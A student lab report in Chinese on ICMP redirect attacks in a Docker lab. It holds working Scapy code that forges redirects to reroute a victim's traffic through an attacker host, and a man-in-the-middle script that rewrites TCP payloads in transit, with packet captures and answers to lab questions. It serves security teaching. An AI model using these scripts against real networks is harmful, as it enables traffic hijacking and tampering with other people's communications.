

ICMP Redirect

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TASK 1

任务简述：实现 ICMP 重定向报文，改变目标主机路由路径

重定向报文设置如下：

```
1 from scapy.all import *
2 ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
3 icmp = ICMP(type=5, code=0)
4 icmp.gw = "10.9.0.111"
5 # The enclosed IP packet should be the one that
6 # triggers the redirect message.
7 ip2 = IP(src = "10.9.0.5", dst = "192.168.60.5")
8 send(ip/icmp/ip2/ICMP());
```

修改后的 IP route cache 如下：

```
root@aecb16687927:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 238sec
```

Question 1

问题简述：重定向时设置路由为外网存在的 ip 是否能成功？

设置重定向网关为外网存在 ip

```
4 icmp.gw = "114.114.114.114"
```

结果重定向失败，因为外网 ip 不在内网里，不能直接可达

```
root@01ab6a0507d8:/# ip route get 192.168.60.5
192.168.60.5 via 10.9.0.11 dev eth0 src 10.9.0.5 uid 0
    cache
```

Question 2

问题简述：重定向时设置路由为内网不存在的 ip 是否能成功？

设置定向到不存在内网 ip 10.9.0.22

```
4 icmp.gw = "10.9.0.22"
```

结果经过默认网关，修改失败，因为不存在

```
root@01lab6a0507d8:/# ip route get 192.168.60.5
192.168.60.5 via 10.9.0.11 dev eth0 src 10.9.0.5 uid 0
cache
```

Question 3

问题简述：更改参数会产生什么影响？

设置为 1 后，这些参数用于发送重定向报文，关闭后才能进行重定向，否则会自动发送重定向报文，改变恶意重定向

```
44      sysctl:
45          - net.ipv4.ip_forward=1
46          - net.ipv4.conf.all.send_redirects=1
47          - net.ipv4.conf.default.send_redirects=1
48          - net.ipv4.conf.eth0.send_redirects=1
```

重定向更改失败

```
root@79d98251c2c7:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.108 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.093 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.237 ms
From 10.9.0.111: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.11)
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.188 ms
From 10.9.0.111: icmp_seq=5 Redirect Host(New nexthop: 10.9.0.11)
64 bytes from 192.168.60.5: icmp_seq=5 ttl=63 time=0.165 ms
From 10.9.0.111: icmp_seq=6 Redirect Host(New nexthop: 10.9.0.11)
64 bytes from 192.168.60.5: icmp_seq=6 ttl=63 time=0.087 ms
64 bytes from 192.168.60.5: icmp_seq=7 ttl=63 time=0.125 ms
64 bytes from 192.168.60.5: icmp_seq=8 ttl=63 time=0.130 ms
^C
--- 192.168.60.5 ping statistics ---
8 packets transmitted, 8 received, 0% packet loss, time 7079ms
rtt min/avg/max/mdev = 0.087/0.141/0.237/0.048 ms
root@79d98251c2c7:/# ip route show cache
192.168.60.5 via 10.9.0.11 dev eth0
    cache <redirected> expires 290sec
```

Task 2

任务简述：在更改路由路径之后，通过伪装的路由主机，更改双方通信内容

重复 TASK 1 完成重定向：

```
root@lc2154aa1e7a:/# ip route show cache  
192.168.60.5 via 10.9.0.111 dev eth0  
    cache <redirected> expires 281sec
```

运行未修改的 MITM 程序

```
1#!/usr/bin/env python3  
2from scapy.all import *  
3  
4print("LAUNCHING MITM ATTACK.....")  
5  
6def spoof_pkt(pkt):  
7    newpkt = IP(bytes(pkt[IP]))  
8    del(newpkt.chksum)  
9    del(newpkt[TCP].payload)  
10   del(newpkt[TCP].chksum)  
11  
12   if pkt[TCP].payload:  
13       data = pkt[TCP].payload.load  
14       print("*** %s, length: %d" % (data, len(data)))  
15  
16       # Replace a pattern  
17       newdata = data.replace(b'jzh', b'AAA')  
18  
19       send(newpkt/newdata)  
20   else:  
21       send(newpkt)  
22 f = 'tcp'  
23 #f ='tcp and ether src 02:42:0a:09:00:05'  
24 #f ='tcp and src net 10.9.0.5'  
25 pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

过滤器未更改时，发送大量额外的报文，包括了程序本身发出的报文

```
root@68672d0e6716:/# nc -lp 9090  
123  
JZH  
AAA  
  
root@lc2154aa1e7a:/# nc 192.168.60.5 9090  
123  
JZH  
izh
```


Question 4

问题简述：过滤时应选择哪一方向的报文，为什么？

应当选择 10.9.0.5 发送到 192.168.60.5 这一方向的报文，因为 10.9.0.5 主机输入指令，192.168.60.5 一方接受指令，在此过程中更改，因为值改变了 10.9.0.5 的路由路径，而没有更改 192.168.60.5 的路由路径所以只有从 10.9.0.5 到 192.168.60.5 的报文更改有效

抓包结果如下，只有此方向上有负载：

```
> Frame 1: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) on interface br-2fccf420b3dd, id 0
> Ethernet II, Src: 02:42:0a:09:00:05 (02:42:0a:09:00:05), Dst: 02:42:0a:09:00:0b (02:42:0a:09:00:0b)
> Internet Protocol Version 4, Src: 10.9.0.5, Dst: 192.168.60.5
> Transmission Control Protocol, Src Port: 60666, Dst Port: 9090, Seq: 573522970, Ack: 178854726, Len: 4
> Data (4 bytes)
    Data: 6161610a
    [Length: 4]
```

另一方向上无负载：

```
> Frame 2: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface br-2fccf420b3dd, id 0
> Ethernet II, Src: 02:42:0a:09:00:0b (02:42:0a:09:00:0b), Dst: 02:42:0a:09:00:05 (02:42:0a:09:00:05)
> Internet Protocol Version 4, Src: 192.168.60.5, Dst: 10.9.0.5
> Transmission Control Protocol, Src Port: 9090, Dst Port: 60666, Seq: 178854726, Ack: 573522974, Len: 0
```

Question 5

问题简述：选择过滤 IP 和 MAC 是否不同？

输入同样的指令，结果是一样的，选择过滤 MAC 还是 IP 对于 MITM 的处理却不一样

```
root@1c2154aa1e7a:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 204sec
root@1c2154aa1e7a:/# nc 192.168.60.5 9090
123
jzh
```

```
root@68672d0e6716:/# nc -lp 9090
123
AAA
```

如果选择过滤 MAC 地址，两条字符就只会发送两个报文，因为 sniff 的是从 10.9.0.5 主机 mac 地址发送的报文，只有此时的报文才会响应

```
1#!/usr/bin/env python3
2from scapy.all import *
3
4print("LAUNCHING MITM ATTACK.....")
5
6def spoof_pkt(pkt):
7    newpkt = IP(bytes(pkt[IP]))
8    del(newpkt.chksum)
9    del(newpkt[TCP].payload)
10   del(newpkt[TCP].chksum)
11
12   if pkt[TCP].payload:
13       data = pkt[TCP].payload.load
14       print("*** %s, length: %d" % (data, len(data)))
15
16       # Replace a pattern
17       newdata = data.replace(b'jzh', b'AAA')
18
19       send(newpkt/newdata)
20   else:
21       send(newpkt)
22
23f ='tcp and ether src 02:42:0a:09:00:05'
24pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

只会发送两条报文

```
^Croot@81b549a91a5e:/volumes# python3 mitm.py
LAUNCHING MITM ATTACK.....
*** b'123\n', length: 4

Sent 1 packets.
*** b'jzh\n', length: 4

Sent 1 packets.
```

如果选择仅仅过滤 IP 地址，过滤从 10.9.0.5 发出的报文时。

```
1#!/usr/bin/env python3
2from scapy.all import *
3
4print("LAUNCHING MITM ATTACK.....")
5
6def spoof_pkt(pkt):
7    newpkt = IP(bytes(pkt[IP]))
8    del(newpkt.chksum)
9    del(newpkt[TCP].payload)
10   del(newpkt[TCP].chksum)
11
12   if pkt[TCP].payload:
13       data = pkt[TCP].payload.load
14       print("*** %s, length: %d" % (data, len(data)))
15
16       # Replace a pattern
17       newdata = data.replace(b'jzh', b'AAA')
18
19       send(newpkt/newdata)
20   else:
21       send(newpkt)
22
23#f ='tcp and ether src 02:42:0a:09:00:05'
24f ='tcp and src net 10.9.0.5'
25pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

不仅会 sniff 到 10.9.0.5 主机本身发送的两条报文，而且对于 MITM 程序来说，更改字符后发出的报文也会是 ip src 为 10.9.0.5，这样 MITM 程序就会无限 sniff，不断发现自己已经更改了的报文，并且重发，不会停止。

(02:42:0a:09:00:0b 为伪装路由的 mac 地址)

```
Sent 1 packets.
here
###[ Ethernet ]###
dst      = 02:42:0a:09:00:0b
src      = 02:42:0a:09:00:6f
type     = IPv4
###[ IP ]###
version  = 4
ihl      = 5
tos      = 0x0
len      = 56
id       = 49328
flags    = DF
frag     = 0
ttl      = 64
proto    = tcp
chksum   = 0x7354
src      = 10.9.0.5
dst      = 192.168.60.5
\options  \
###[ TCP ]###
sport    = 60714
```

```
###[ TCP ]###
sport      = 60714
dport      = 9090
seq        = 2479994119
ack        = 3237015176
dataofs    = 8
reserved   = 0
flags       = PA
window     = 502
checksum   = 0x69fe
urgptr     = 0
options    = [ ('NOP', None), ('NOP', None), ('Timestamp', (2476296
990, 1102010447)) ]
###[ Raw ]###
load       = 'AAA\n'
*** b'AAA\n', length: 4
.
Sent 1 packets.
here
###[ Ethernet ]###
dst        = 02:42:0a:09:00:0b
src        = 02:42:0a:09:00:6f
```

两种过滤方式都会得到正确结果，但过滤 IP 会导致发送大量重复的报文，所以最佳选择还是过滤 MAC 地址